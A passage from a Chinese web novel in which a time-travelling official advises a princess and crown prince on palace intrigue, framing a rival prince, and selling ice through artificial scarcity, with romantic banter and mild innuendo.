“府令大人,这是上林属一早便送来的新鲜鹿肉,刚为公主殿下做完膳食还剩了一块鹿肝。” “嘶!” 季褚回头,就见刘管事一脸讨好的捞出一块处理好的鹿肝。 “这可是好东西啊!” 刘管事笑而不语,又从案板上的鹿肉上割了一大块下来,一块用绳穿好递到了季褚面前。 “这这这……合适吗?” “都是损耗!” 季褚愣了愣,把头往前一探,低声道:“宫廷玉液酒?” 嘶! 这回轮到刘管事抽凉气了。 好家伙,竟然还想和宫廷玉液。 真以为当上府令就能肖想宫里的东西?也不看看自己什么档次。 刘管事抽了抽嘴角,为难道:“大人,您这可真难为属下了。” “咳咳……” 其实季褚也就是见他这么上道,还以为对方也是穿越者。 闹半天,古往今来,混体制的都一个鸟样。 身为领导,那他不得把情绪价值给对方拉满? “无妨,我就随口一说。”季褚笑着拍了拍对方肩膀,“老刘啊,厨房这一块整挺好,我看好你,努力工作,有机会的!” 说完,哈哈一笑,拎着东西便朝外面走去。 看的刘管事那叫一个懵逼。 等人走远,才回过神来,嘴角闪过一抹嘲讽,“确实,机会已经来了。” “刘管事,那鹿肝可是特意为太子准备的,您送给府令大人,下一道菜无法烹制了啊!” “嗯?”刘管事眼睛一瞪,“谁说我送的,分明是府令大人强行要走的。” “啊?啊!对对对,管事说的对!” “哼!都给我管好自己的嘴!” …… 季褚拎着食材回到小院,才一进屋,就瞧见屋里摆放了不少布匹,以及坐在铜镜前,一脸欣喜的怜香。 “季郎,你下值啦!” 瞧见季褚归来,怜香宛如一道香风扑到了他的怀里。 季褚轻轻搂住那盈盈一握的蛮腰,目光却不自觉的落到了她头上那副金灿灿的??髻上。 整体由粗金丝编织,挑心??是一支双股金钗,钗头锤揲成象征吉祥的如意云纹,分心??则简化为单支花簪,黄金花瓣簇拥一颗小粒绿玉,宛如晨露凝结,鬓边??掩鬓??仅用两片金叶,轻插于发际,可谓是贵气十足。 配上怜香那娇媚的容颜,简直美的不可方物。 可这不对劲啊,十分有十二分不对劲。 “这是?”季褚狐疑。 “哦,这是公主殿下赏的,还有这些布匹。”怜香快速将上午的经历说了一遍,称赞道:“殿下当真大方。” 季褚也是一阵无语,人家可是公主啊,些许蝇头小利就大方了,看给你美的,殊不知,在人家眼里九牛一毛都算不上。 不过,这玩意是金的啊! 自己正好没钱,以后跑路,说不定能拿出来应应急。 当然了,他已经吃过了隔墙有耳的亏,立马跟着附和道:“那是,先前都是我的错,误会了公主殿下。 今日方知,公主殿下赏罚分明,有功者,虽微必赏,如春风化雨,润物无声; 有过者,虽亲必罚,似雷霆震怒,涤荡污浊。 此等公正,非大智慧者不能为,非大仁德者不敢为,吾自当勤勉更加尽心,效犬马之劳才得以报殿下知遇之恩……” 既然想麻痹对方,自然得做戏做全套。 而且这马屁可不是白拍的,盏茶时间便通过暗卫传到了正在和太子交谈的李清瑶耳朵。 李清瑶嘴角不自觉的翘了翘,静了静心才道:“竹儿,传他来见本宫!” “喏!” 竹儿点头,立马躬身退出寝殿。 “皇姐,此人既有才华,孤何不礼贤下士一番?”太子李康好奇问道。 暗卫前来通报之前,姐俩便在议论季褚。 不管是李清瑶之前的考验,还是季褚的制冰手段,都令李康震惊不已,对皇姐口中那位“怪才”可谓是充满了好奇。 “此人性格跳脱难以揣测,若想完全收心,难!”李清瑶端起茶盏嘬了一小口,优雅的放了回去,“康儿,你且记住,你是高高在上的储君。 你礼贤下士无错,但也要分对什么样的人。” 君就是君,臣就是臣,雷霆雨露俱是君恩,初见你便对他礼遇有加,只会令他更加持才傲物,骄纵轻狂。” “皇姐言之有理。” …… 季褚得知长公主召见,那是一路走,一路在心里骂骂咧咧。 大中午的饭都没吃上就被迫加班,黑心的资本家都比她强百倍。 不过,见到人,还是立马恭恭敬敬叩首行礼,“臣季褚,叩见太子殿下,长公主殿下。” 李清瑶眼底闪过一抹微不可查的满意,淡淡道:“起来吧!” “谢殿下。” 季褚起身,规规矩矩立到了一旁。 毕竟,她旁边还坐着太子,这位爷爱记仇,和他姐姐可谓是一脉相承。 李康上下打量着季褚,“孤听说,你一肚子坏水,可为真?” 季褚面皮一抽,不自觉的看向了李清瑶,好你个黑了心肝的坏女人,这不是污人清白吗? 李清瑶垂眸饮茶,就好似此间事与她无关一样。 “咬定青山不放松,立根原在破岩中。 千磨万击还坚劲,任尔东西南北风。 还请殿下明鉴,这绝对是别有用心之人故意抹黑臣啊。”季褚拱手,一脸的悲愤。 李清瑶瞪大了眼睛,紧紧握拳。 这狗东西,属实可恶,竟然敢在太子面前蛐蛐本宫,看来对他还是太好了。 而李康完全沉浸在季褚出口成章的那首诗里,激动小心脏砰砰狂跳。 皇姐,诚不欺我。 大才,果然大才。 而在二人没注意到角落里,韩江雪死死握住剑柄,一抹红霞悄然跃于脸上,渐渐染红了耳根。 该死的隂贼,竟然敢当着太子的面又做隂诗,简直越发的狂妄了。 “哦?抹黑?”回过神来,李康余光微不可查的瞄了皇姐一眼。 “没错,殿下可曾每日出小恭?” 前一秒还诗才绝伦,出口成章,下一秒直接来了个出口成脏,闪的李清瑶小手一抖,差点没拿稳茶盏。 抬眸,狠狠剜了季褚一眼,似是警告他不要胡言乱语。 李康显然也没想到季褚给他来了个神转折,憋了半晌才微微颔首,等待他的下文。 第16章 大胆隂贼,竟敢让太子喝尿 “那就对了,其实啊,所谓坏水每个人肚子里都有,排出去,剩下的自然都是好水。” 季褚也是懂见好就收的,可不敢真把李清瑶得罪死,原地转了一圈,继续说道:“臣吃嘛嘛香,身体倍棒,若真一肚子坏水,也活不到现在。” 见姐弟二人一脸懵逼,季褚就知道,是时候上流水线了,“殿下方才戏言坏水,可在臣看来,那是臣将这世事沧桑藏于腹中,酿成陈年佳酿。 看似浑浊,实则醇厚。 谋略如酒,需时光沉淀方显其味,急饮者醉,慢品者智。敢问殿下愿做急饮之人,还是慢品之士?” 说完,还不忘拱手低头,一副等待效忠的狗腿模样。 可下一刻,只听刷的一声宝剑出鞘,紧接着寒光一闪,冰凉刺骨的剑锋已经架到了季褚脖子上。 一抬头,不是大熊还能是谁? 好在李清瑶反应及时,呵了一声住手。 又从鬼门关里走了一遭,季褚后背都被冷汗打透了。 尼玛啊,几次了,几次了,动不动就拔剑,会功夫了不起是吧! 等着,早晚有一天,老子把大保健甩丫脸上。 那眼神,看的韩江雪更加忍不了。 天底下有才华的人比比皆是。 她就纳闷了,往日杀伐果断,宛如谪仙一般不带一丝感情的表姐,为何如此偏爱这个隂贼? 莫不是真的想养男宠了? 若真如此,那就更该除之。 李清瑶也是一阵纳闷:表妹最近这是怎么?难不成这又是一首隂诗? 要么说心中的成见是一座大山呢,稍一琢磨,李清瑶越品越不对劲,绝美的脸蛋也渐渐染上了一层绯红。 正准备再给季褚记一笔账,就听韩江雪愤愤说道:“公主,季褚狗胆包天,想让太子殿下喝他的尿,还请下令,诛杀此獠。” 还能这样理解? 李清瑶闻言,整个人都懵了,可紧接着,脸颊却越发的滚烫起来,很是幽怨的瞪了季褚一眼。 而李康看向季褚的眼神,却像是一把毒刃,渐渐变的凌厉起来。 方才他还纳闷,临安郡主为何突然发狂。 现在全明白了。 似乎,好像,还真就是暗戳戳的想让孤喝他的尿。 好大的狗胆。 但皇姐先前说的也没错,此人大才,然,性格跳脱难以揣测。 可他为何这样做? 莫非,他这是在试探孤的胸怀? 一时间,现场气氛变的相当诡异。 季褚情不自禁的咽了口唾沫,这些人都怎么了? 瞧太子那不善的眼神,再看看李清瑶那透着红霞的盛世美颜,突然,他就想明白了一切。 好家伙,肯定又被韩江雪带偏了。 他感觉把长韩江雪脑子里去的肉挖出来,那胸起码还能大两寸,这女人不仅无脑,而且对自己恶意满满,以后非必要,有她在的场合绝对不可再装逼。 因为没文化,太可怕。 冷不丁给你来一下子,那真就试试就逝世了。 好在这时,就听李清瑶开口了,“江雪,你且退下。” “公主……” “退下!”李清瑶凤眸微挑,语气立马加重了三分。 “喏!” 韩江雪不情不愿的收回宝剑,冲着季褚冷哼一声,退到了一旁。 姐弟二人对视一眼。 李康的目光再次落到季褚身上,“孤暂且无法回答你刚才的问题。 自从母后薨逝,孤每日如履薄冰。 尤其是三皇子,仗其母妃入主东宫,越发的不把孤放在眼里,各种腌臜手段层出不穷,时刻都想要了孤的命。 先生既然有才,何以教孤?” 随着太子话音落下,李清瑶盯着季褚,葱白的柔夷,根根青筋透皮凸显。 有紧张,紧张他的才华仅限于搞钱。 有期待,期待他能给出一个满意的答卷,证明自己没有看错人。 甚至还有一种连她自己都想不明白的因愫。 这一刻,就连恨不能对他除之后快的韩江雪,也希望季褚真能想出一个计策。 季褚被这三人看的头皮发麻,仿佛已经看到了河对面的对自己招手的太奶。 人家是逮着蛤蟆捏出尿,他们姐弟是想捏出血来啊。 可他只想娇妻美妾,富贵闲人,不想每天提心吊胆。 但,回答的好,是不是说自己的生命线又延长了? 至少太子登基之前,应该不会除了自己吧? 毕竟,帝有八子,少了一个三皇子,剩下那几个也不是什么省油的灯。 只要时间拖得久,好好谋划一番,全身而退,似乎也不是不可能。 这样想着,季褚开口说道:“首先加强自身守卫,不能再给敌人可乘之机!” 这话一出,三人脸上齐齐露出失望表情。 尤其是李康,简直失望透顶。 还用你来提醒孤? 就这,也配的上皇姐的称赞? 李清瑶秀眉紧促。 不应该啊,季褚不仅一肚子坏水,而且胆大妄为,亲测,包的。 怎么突然就保守了呢? 莫非,是被吓坏了? 韩江雪反倒是释然了,低头看剑……想必离着斩下他的狗头也不远了。 季褚抽了抽嘴角,自己说的也没错啊! 你不保护好自己,万一太子突然嗝屁,我就是两肚子坏水不也没用吗? 算了,不管了,先把主意出了再说。 “臣有上下两策,下策,三皇子弹指可灭。 理论上讲,不仅是三皇子,太子殿下想除掉谁都是一样的。” 果然,这话一出,三人皆是愕然。 弹指可灭,还想灭谁就灭谁? 纵是太子再要装城府,装淡定,这一刻也早就把皇姐之前的嘱托抛之脑后。 噌的一声便站起身来,激动道:“若真如爱卿所言,他日孤登九五,爵位官职,你想要什么,孤绝不吝啬。” 有那么一瞬间,太子都恨不能现在就派人宰了驸马,让季褚来当皇姐的驸马。 这还只是下策就这般厉害,那上策岂不是翻手为云覆手为雨? 能想出这样计策的人,只有成为一家人,他才能彻底放心。 嗯,为了孤的皇位,皇姐肯定愿意委屈一下自己。 太子和他姐姐一样,画的饼是又大又圆。 不过画的就是画的,好看但不抗饿。 饶是心里清楚,季褚还是装出一副感激涕零的模样,继续说道:“臣起于微末,全赖公主殿下慧眼识珠才有今天。 殿下之明,如月照寒潭,臣之微光,得见天日。 殿下之雅,若兰生幽谷,臣之凡骨,亦沾清芬。 能为殿下效犬马之劳,足慰平生!” 好话谁都爱听,这突如其来的马屁,拍的李清瑶心花怒放。 但她才不会相信季褚的鬼话,可嘴角依旧忍不住扬了扬,很快又被她压了下去。 太子心里同样高兴,好啊,好啊,能看上皇姐好啊,就怕他看不上皇姐这个二嫁之妇。 虽然这对皇家而言都不叫事儿。可人才难得啊,牛不喝水总不能强按头吧! 万一寒了人才的心咋办。 “咳,你之心意本宫晓得,到底是何计策,速速说来。”李清瑶道。 第17章 爱卿,孤要大波 季褚直勾勾的望着对方,眼底满是自信,“含沙射影,血口喷人,说白了就是造谣。” 造谣很简单。 可从季褚嘴里说出来,李清瑶下意识就觉得不会简单。 甚至就连表情都变的凝重起来,因为先前那种脊背发寒的感觉说来就来。 “殿下,接下来的话可能大逆不道,还请恕罪。” “无妨,孤恕你无罪。”太子催促道。 “殿下可令人铸一佛像,上书:国运衰颓,皆因圣上失德;唯有三皇子继位,方能重振山河。 暗中找人将此物埋在报国寺显眼的位置,佛像下方放置大量豆类。 豆类一旦发芽,佛像便会破土而出,届时……” 嘶! 三人闻言,全都倒吸一口凉气。 如此粗鄙简单的套路,要换穿越之前的那个时空,季褚是万万不敢说的。 因为有史可查。 但原主饱读诗书,记忆中,这个时空历朝历代都没有类似事件发生。 所以看似简单粗鄙的一招,也的确简单粗鄙。 但放在大梁朝那就是蝎子粑粑独一份,足以开创历史先河。 何况梁皇老了啊! 古往今来的皇帝,除了被推翻的末代皇帝,哪个不是自己死了以后,儿子接班。 为了啥,至高无上的权利啊! 到时梁皇会怎么想? 好好好,老子还没死,你就想篡位是吧? 所以,哪怕最后查出是有人栽赃陷害又如何? 为了不被后世史书记上一句,国运衰颓,皆因圣上失德。 为了那句,唯有三皇子继位,方能重振山河。 三皇子除了造反,否则这辈子都与皇位无缘。 说白了,算的就是人性。 李康显然也是想明白了这一点,顿时癫狂的大笑起来,“好好好,好一个季褚季伯赢,孤果然没有看错你,你有丞相之姿啊! 哈哈哈哈,孤这便命人安排,先除三皇子,再斩妖后!” 季褚忙道:“殿下不可。” “有何不可?” 当然不可了,没了三皇子这个心腹大患,我的重要性不就降低了吗,我还如何延长自己的生命线,谋划万无一失的逃跑计划。 面对这姐俩,季褚自然不能说实话,正色道:“现在除掉三皇子,就能保证殿下一定能顺利登基吗?肯定不能! 没了三皇子还有其他诸位皇子,因为先皇后薨了,没有哪个妃子会真心为了殿下在圣人旁边吹枕边风。 何况即便有,也不能吹啊。 先皇后为了亲儿子,嫔妃为了什么? 圣人怀疑,反倒适得其反。 所以说,这是太子殿下的补不其的劣势。 留着三皇子,能帮殿下挡在不少来自其他皇子的明枪暗箭,可没了三皇子,殿下就是唯一的靶子。 因此臣才说此乃下策,非万不得已最好不用。此计只能用一次,用在三皇子身上,实在是大材小用。” “嘶!爱卿言之有理,你还有上策,速速与孤道来。” “敢问殿下,您觉得三皇子的依仗是什么?” “自然是范氏妖后,以及他背后的灵溪范氏。” “错了。”季褚摇头,语出惊人。 李清瑶蹙眉思考,不是范氏,那是什么? “孤错在哪里?”李康不解道。 “常言道,兵马未至,粮草先行。 其实从古至今,你方唱罢我登场,永远离不开的就是一个财字。 有财,殿下可招兵买马,不给财货,你看士兵还会不会卖命打仗。 有财,殿下可以在朝堂大量培植自己的亲信,把大家的利益捆绑到一起形成利益共同体,只要利益足够大,哪怕到时候殿下想退,大家也会推着殿下坐到那个位置上。 太子殿下今日之忧,说白了,就是缺财闹的。 一句话,财可通神,不然,寺庙道馆供奉的神仙要香火作甚!” 李清瑶眼前一亮,她当然清楚,想让人卖命就得许诺好处,但以往都是先画饼,什么时候饼到手什么时候才能吃到。 季褚一语点醒梦中人,也让她终于明白,为何朝堂之上没人愿意支持太子。 因为太子画的饼,吃不吃得到两说,可背后有世家撑腰的三皇子早就把饼端到了桌上,谁来都能分上一块现成的。 这不就是季褚所谓的利益共同体吗? “先生所言是极,可即便孤按先生所言,把大家的利益捆绑到一起,又如何保证从三皇子身边拉拢来的人,不会再和三皇子暗通款曲?”李康激动的问道。 “臣不建议拉拢那些人,不仅不拉拢,反而要一刀一刀放干他们的血,用他们的血来滋养自身。 放一次血,他们扛得住,两次三次呢? 疼了,这些支持三皇子的人必然会找三皇子讨要说法,三皇子唯一能做的就是弥补他们的损失。 可君臣之间一旦产生嫌隙,呵呵……” “哼,说半天,合着就你聪明,别人都是傻子,都不长记性,一次又一次的上当。”韩江雪小声蛐蛐。 这话就像是一盆冷水,酷岔一下将太子浇醒。 季褚不以为然道:“历史中学到的唯一教训,就是没有从历史中吸取任何教训,否则也不会有改朝换代一说。 什么上不上当,无非利益大小而已,利益足够大,那就一定会上当。 而且眼下就有一个很好的机会,保证他们上当。” “什么机会?” “冰!” “冰?”李康一脸的不可思议。 “没错,就是冰,如此炎热的天气,冰本就是稀罕物,就连公主府都做不到用冰自由,更何况其他达官显贵府邸。一旦咱们的冰上市,肯定会风靡京城,成为地位和财富的象征。 咱们知晓夏天也可制冰,可其他人不知道啊。 所以可以采取饥饿营销的方式……” “等等,何为饥饿营销?”李清瑶敏锐的捕捉到了又一个新词。 她总觉得这也是个了不得的阴招。 “人为制造稀缺感,紧迫感,限时限量发售,有货也说没货。想要冰可以,那就提前交钱预售。 就像是拿着一块肉放在饿了很久的狗面前,先给尝尝味,它想填饱肚子,就只能被拿着肉的人牵着鼻子走。 这便是饥恶营销。” 嘶! 三人再次齐齐吸了一口凉气,说的是狗,实则是人啊,简直把人性算到了极致。 这幅没见过世面的样子,属实给季褚逗笑了。 太子倒是没什么感觉,可李清瑶和韩江雪却见识过季褚之前出的阴损毒计,全都没由来的一阵发毛。 “咳,爱卿严肃一点,本,本宫……不许你笑。” 季褚:…… 娘的,你说不许就不许啊? 万恶的旧社会,也太不把人当人了吧! “公主殿下,亏得臣之前觉得您是那样英明。人有七情六欲,你不喜,便不许臣笑,难道臣看错您了吗?” “爱卿何故冤枉本宫。”李清瑶紧了紧拳头,“本宫只是觉得你笑起来少了几分谋士的风度,好了继续说下去。” “喏!”季褚拱手,“饥饿营销的好处就是收了预售的钱,不用担心大批出货,出现市场货源充足,导致供大于求价格跌落的现象。 这一波,京师有钱人的冰窖有多大,决定了咱们可以收割多少财富,所以得留一些时间,让这些有钱人建一个符合夏日用度的大冰窖。” 话音落,屋里静的落针可闻,可三人耳朵里全是哗啦啦的银子流淌声。 钱,好多钱。 李康兴奋的催促道:“爱卿,一波不够,孤要大波。” 第18章 还请皇姐以身入局 季褚下意识瞄了韩江雪一眼。 随即继续说道:“殿下想要大波还不容易,财帛动人心啊,把这些有钱人的冰窖填满,一定会有人产生贪念。 到时咱们可以祸水东引,放风给支持三皇子的权贵们,告诉他们可以出售配方。 这些权贵背后都代表着各自家族的利益,不是铁板一块,自然就会竞争。 咱们根据这些家族的数量,划分区域,采取暗拍方式把配方卖给他们。 如此一来,他们不仅会提防同一阵营,还会担心其他阵营的人会不会和他们抢食吃。 毕竟,这样一只下金蛋的鸡,谁都想抱回家。 三皇子党的人不想出局,就只能根据自身实力,给出承受范围内最高价格。 殊不知,咱们根本没想过卖给其他阵营的人。 一旦他们开始大量制冰,太子立刻寻圣人,奉上配方,劝诫圣人成立皇家制冰衙门,彻底断了三皇子党的退路。 如此源源不断的巨大利益,圣人必会龙颜大悦。可三皇子党刚花大价钱买到金鸡,还未下蛋就被人抢了,必然会跳出来唱反调。 到时,陛下会怎么想? 其他没有分润到利益的百官会怎么想?” 轰隆隆! 杀人,还要诛心! 李康呼吸一滞,久到无言。 季褚心里一阵暗爽,以前的自己,就一最底层的蝼蚁。 可现在呢,随随便便几句话,就把理论上当朝第二有权势的人说的目瞪口呆。 李康回过神来,蹙眉,“如此一来,岂不成了一锤子买卖?” “殿下只看到了其一,大户终究只占小数,指着他们才赚多少钱。 要想细水长流,聚沙成塔,还是得靠民间。 接下来咱们可以革旧从新,制作饮用的冰饮,利润绝对不比单独贩冰少,甚至更多。 而且殿下不要忘了,三皇子党可不会干吃哑巴亏,届时必然上奏弹劾公主与太子。 与其等待圣人降旨蠲剥,提前分润利益,犹可存大体,而获长利! 所以殿下还需拿出一部分利润遣人去南方购粮,赈济灾民,提前堵住悠悠众口。 圣人得了好处,龙颜大悦,不会眼睁睁看着百官攻讦殿下。 灾民填饱肚子,感恩戴德,必然宣扬太子贤德仁名。 事成,太子之位将稳如泰山。” “彩,彩,彩!”李康兴奋的起身叫好。 李清瑶双眼放光,一双凤眸熠熠生辉,那张宛如千年冰雕的绝美容颜上,也露出了几分满意的笑容。 “其实万法不离其宗,饼画的再好,也远不如直接摆在那,伸手就能吃到。 太子殿下只要把这个衙门牢牢握在手里,到时想吃饼的,自然会主动上桌,朝堂之上自会有人向着殿下靠拢。” “哈哈哈哈,先生所言一针见血,来人,传膳。”李康快步上前,一把拉住了季褚胳膊,“孤还有很多问题向先生请教。” 这礼贤下士的模样,属实令季褚有些飘飘然,“正好,臣也有些关于新衙门的一些建议说与殿下。” 各自落座,越是交谈,李康就越是满意季褚的才华。 看着陆陆续续摆上桌的美味佳肴,李康的心思也越发的活络起来。 前朝,仁景皇帝曾将自己最爱的菜肴赠给了当时还只是一介草民的宰相,这才有了君臣相得的仁景之治。 所以,他准备效仿一下,彻底收了季褚的心。 可随着最后一道菜布完,李康瞬间皱紧了眉头。 肝呢? 我的鹿肝呢? 李清瑶心思细腻,也发现没有太子最爱的鹿肝,对着一旁的妙锦问道:“为何太子最喜的那道菜还没上,去问问怎么回事。” “是!”妙锦匆匆离开。 “爱卿,随孤慢品可好?”李康收回视线,笑着端起酒杯。 季褚隔空举杯,“敢不从命,殿下,请!” 一杯酒下肚,在旁伺候的竹儿立马倒上。 你别说,同样都是用釜烹出来的食材,小釜和大釜味道就是不一样,当然,煮的就是煮的,还是不如炒菜好吃。 一顿宴席下来,可谓是主尽宾宜。 待到宴席结束,季褚才幡然醒悟过来。 娘的,说了这么多,你倒是来点实际的啊! 就管一顿饭,还不如你姐大方,至少你姐配个婢女,请我半条龙! 目送季褚离开,李康瞬间收敛了宴席上表现出来的兴奋。 “这季褚果然如皇姐说的一样,若有此人辅佐,何愁登不上那个位置。 不过得想个办法,让其彻底收心,否则一旦被其他皇子收买,必会成为心头大患。” 李清瑶放下茶盏,“本宫自是晓得,可你方才也都瞧见了,这等人物很难彻底归心。” 李康斟酌了一下,“皇姐,孤观这季褚也是一表人才,远不是驸马宋辉可比。” “康儿……” “听孤说完!”李康抬手打断,起身重重一礼,“皇姐,康儿很少求你,这次无论如何也请皇姐答应。 此人对皇姐一往情深,还请皇姐以身入局再帮康儿一次,将其收入房中。他日康儿登基绝对不会辜负皇姐。” 李清瑶震惊的看着自己这位好弟弟。 她听到了什么? 为了皇位,他竟然想让自己的姐姐出卖美色,去伺候季褚? 心很凉,可脸却渐渐发烫。 想到那日殿中,被他压在身下肆意轻薄,一股说不出来的感觉袭遍了李清瑶全身,不自觉的夹了夹腿。 “此事不要再说了。”李清瑶端起茶,来掩饰自己的尴尬与惶惶。 她之所以躲着宋辉不同房,一方面确实是因为看不上宋辉,但更多的却是她的身上藏有大秘密。 一个足以将她彻底打入深渊的秘密。 哪怕她同意,可一旦季褚发现自己是个灾星,只会适得其反。 李康面露不愉,“母后薨了,现在康儿只有皇姐一个亲人,你不帮孤,谁来帮孤? 难道就这点小小的要求,皇姐都不愿意吗?” 李清瑶下意识就想全盘托出,告诉太子。 季褚之所以藏身公主府当马夫,实则是想伴驾入宫去见虞美人。 他曾是虞府私塾先生,虞美人未入宫前便与他情投意合。 如今父皇痴迷虞美人,不管二人碰不碰出火花,只要抓住这个把柄,此二人不想死只能为她卖命。 但想到太子刚才的话属实太寒心,到嘴边的话,硬生生咽了回去。 何况事以密成,万一太子一不小心说漏嘴,霍乱后宫,可是死罪,谁都逃不掉。 “本宫自有打算,如今我也有些乏了,你也早点回宫吧!” 太子前脚刚走,妙锦后脚来报,宴席缺少鹿肝一事。 李清瑶正因太子方才的话生气,冷声道:“这等上不了台面的小手段也敢班门弄斧,处理了吧!” “喏!” 第19章 长公主煮屎炼丹 既然准备玩一波大的,为了保险,季褚依旧按照原计划在公主府外收厕土。 随着有人来长公主府外卖厕土,一则关于长公主得了失心疯的谣言很快便在城中蔓延开来。 而接下来的两日,整个公主府上空都弥漫着一股难闻的味道,甚至有人说长公主在煮屎炼丹。 毕竟,厕土就是厕土,而且从民间收,又没有专业指导,老百姓主打一个刮地三尺……那味道煮起来老窜了,可不就是在煮屎么! 公主受不了,为了接下来的计划还能忍忍。周围居住的达官显贵忍不了啊! 弹劾长公主的奏章,这两天宛如雪片一般飞入皇宫,季褚每天汇报工作,都能明显感受到她身上那股子隐忍到极致的低气压。 她那副看不惯我,又干不掉的我的小郁闷,简直给季褚高兴的不行。 其实如果不是李清瑶让他干的事儿会要命,他感觉这辈子委身公主府,也挺好的。 但身为穿越者,他太明白伴君如伴虎的道理。 因为有些事,一旦做了,那就是万劫不复,哪怕现在不会拿你怎样,将来也会清算。 所以,有机会,还是得逃。 好在,人多力量大,两天时间,京城周边的厕土就都被收完了 数百口大锅,没日没夜的熬硝,库房里的成袋的硝石也已经堆积如山,差不多达到了五万斤左右。 按照一比一的比例制冰,再去掉用结晶法重新蒸发的时间,一天能制四批,也就是打底二十万斤。 有个词叫价等金壁,可不是信口开河。 别看权贵府邸多有冬日存冰的习惯,可终究不如皇家御用冰窖不计成本,保温效果也就那样。 哪怕用的再省,入夏后,一旦冰窖打开,至多也就坚持二十日,之后只能找冬日存冰夏日卖的冰商够买。 虽然大梁的物价还没达到那么夸张的地步,可随着天气越来越热,消耗越来越多,市面上的冰也是一天一个价,今日他让人打探,一斤冰已经达到了十五两的价格,而且冰商每开一窖,都是供不应求。 其实说白了,冰商玩的也是饥饿营销那一套。 身为领导,干活是不可能亲自干活的。 季褚翘着二郎腿坐在值房里,旁边则是拿着蒲扇不停扇风的竹儿。除了空气中不怎么好外,小日子别提有多滋润了。 这时,负责熬硝的管事姬坤匆匆走进值房,如是负重的拱了拱手,“大人,所有厕土已经熬煮完毕,入库共计五万三千一百二十八斤。” “不错,回头我会向殿下为你邀功。”季褚满意的点点头。 公主设宴当晚,季褚去内厨踅摸食材,才得知刘管事想要诬陷自己被公主派人砍了。 当时所有人都不敢指正,只有姬坤站了出来。 初见时,这小子一脸灿烂谄媚,眼神中透出来的渴望,就俩字——进步! 想进步好啊,就怕你不想进步。 正好季褚也想培养几个心腹,提高逃跑的成功率,所以就趁着熬硝提拔他当了管事。 姬坤讨好般挠了挠头,“小的也不过是跑跑腿罢了,岂敢居功。如今府内谁不知府令大人宽厚仁德。您对小的这般信任,小的心里暖得像揣了个小火炉。能为您做点小事,是小的福气,以后但凡您有吩咐,小的定是第一个冲在前面,绝不辜负大人的期望。” 季褚心里舒服的不行,不过旁边还有个眼线站着,立马起身拱手,面朝寝殿方向,“一切都是公主英明,运筹帷幄,知人善任,方有今日府内上下齐心之象。” 姬坤立马有样学样,“公主英明!” 竹儿忍不住翻了个大白眼,不过季褚这几天逮着机会便拍一下公主的彩虹屁,她都习惯了。 季褚收回手,正色道:“既然一切准备妥善,你立刻安排人手,将东西运去城外庄子,那边有人和你对接。” “喏!” 姬坤躬身领命而去。 “府令大人也不去看看,难道就这般放心?”竹儿开口问道。 “你看哪位将军亲自上阵杀敌的。”季褚笑呵呵坐下,“哎呀,坐久了肩膀酸,辛苦竹儿姐姐了。” 竹儿是李清瑶安排在身边的眼线,季褚用起来自然毫无任何心理负担。 享受就完了。 竹儿咬了咬银牙,放下蒲扇,绕到椅后轻轻把手搭在了他的肩上。 “稍微用点劲,哎,对对对,嘶,舒服……”季褚往后一躺,便把头靠在了对方怀里。 心道,还是差了点意思,找机会一定试试大熊,那女人肯定是个完美的枕头。 竹儿一张俏脸,瞬间涨得通红,脖颈间香汗淋漓,眉眼间更是带了几分倦意。 伺候公主都没这么累过。 季褚倒好,白天将她使唤来使唤去,晚上更是不消停和花魁娘子夜夜笙歌。 她就住在厢房,翻来覆去压根睡不好。 有好几次,她都想打退堂鼓,请求公主再派个姐妹过来。 可一想到自己的位置被其他姐妹取代,不知为何,心里就很不得劲。 愤怒,可又有一股说不清道不明的幽怨。 …… 随着一袋袋硝石装车,由府内甲士护送着浩浩荡荡出府,一名下人急急走进了驸马居住的院落。 “驸马爷,那边有动静了,刚刚我见有甲士护送,拉了上百车东西出府……” “哦?”宋辉眼前一亮,“可看清楚到底是什么东西?” 下人一脸苦涩,摇头道:“远远看去全是布袋,具体是什么看不清。” 宋辉本以为散播谣言,会令公主颜面扫地,再不济,也会受到圣人斥责。 结果谣言散播出去,府外来卖厕土的人反而越来越多。 而且近两日,公主府调集亲兵,将熬硝区域围的密不透风,日夜巡逻,连饭都是公主亲卫送进去。 越是这样,宋辉就越是想知道,公主葫芦里到底卖的什么药。 有事儿,绝对有意想不到的大事儿。 否则公主也不可能拼着名声不要,搞出这么大的阵仗。 “行了,你先下去吧!”说着,宋辉从怀里摸出一锭银子丢给了对方,“去宋府传个话,让府里派几个高手跟上,搞清楚是什么,立刻来报。” “喏!” 下人揣好银子,匆匆离开。 呼啦一下。 宋辉直接将桌上的东西扫了一地,“李清瑶,你这个贱人,葫芦里到底卖的什么药!” …… 晚饭过后。 季褚回到卧房,怜香立马乖巧的端来洗脚水,蹲在床边帮他洗脚。 一身墨绿色的纱裙,衬的她肌肤更加白皙细腻。 打那天得了公主赏赐,她是越发的会伺候人了。 “其实这事儿唤竹儿去做便可。” “竹儿姐姐白天跟随季郎左右也忙坏了,些许小事如何好意思麻烦人家。季郎如今也是朝廷命官,你不嫌弃妾身出身,妾无以为报,只愿尽心服侍左右,这都是妾的福分。” 这情绪价值给的,哪个男人扛的住。 季褚一伸手,便将怜香拉起,一把环住腰肢,让她坐在身边。 怜香俏脸绯红,忙要推开,却听季褚说道:“其实你真没必要这样,出身不好不是你的错,生不了孩子也不是你的错,错的是这世道。 在我这里没有高低贵贱,你若不离,我便不弃,哪怕将来我有了自己的府邸,娶了妻子,你在我心里的分量也不会低。” 男人对自己第一个女人的感情,终究是不一样的。 “季郎……”怜香眼含秋水,眸光滢滢,这番话,在这女人如衣服的古代,杀伤力绝对是巨大的。 怜香突然凑到了季褚耳边。 季褚还以为她现在就想要,笑道:“赶紧把鞋袜脱了,咱们一起洗,洗完再说。” “不,季郎,妾身有件事对不住你……” “嗯?” 第20章 公主,换个人盯梢吧!他又作隂诗了 “隔墙有耳。”怜香小声说道:“长公主让我件监视你的一举一动,她说会帮我找寻家人。” 季褚:…… 啊啊啊,这个女人有大病吧! 咋就这么不放心老子呢?连枕边人都买通,呸,下作。 “妾身错了,不该瞒着你。” “无妨,我已知晓你的心意,反正监视我的人又不止你一个,她让你监视你就监视,不要漏出马脚即可。” “那你还想着逃走吗?” 季褚微微挑眉,伸出手指挑起了怜香下巴,“你认为呢?” 怜香抓着他的手便按在了自己胸口上,目光灼灼,小声道:“你可以摸着妾的良心,妾绝对没有试探,因为只有季郎才是真正对我好的人,就像季郎方才说的,你若不离,我便不弃。” 季褚轻轻在那娇艳的红唇上点了一下,捏了捏,笑道:“劝君莫惜金缕衣,劝君须惜少年时。 有花堪折直须折,莫待无花空折枝。” 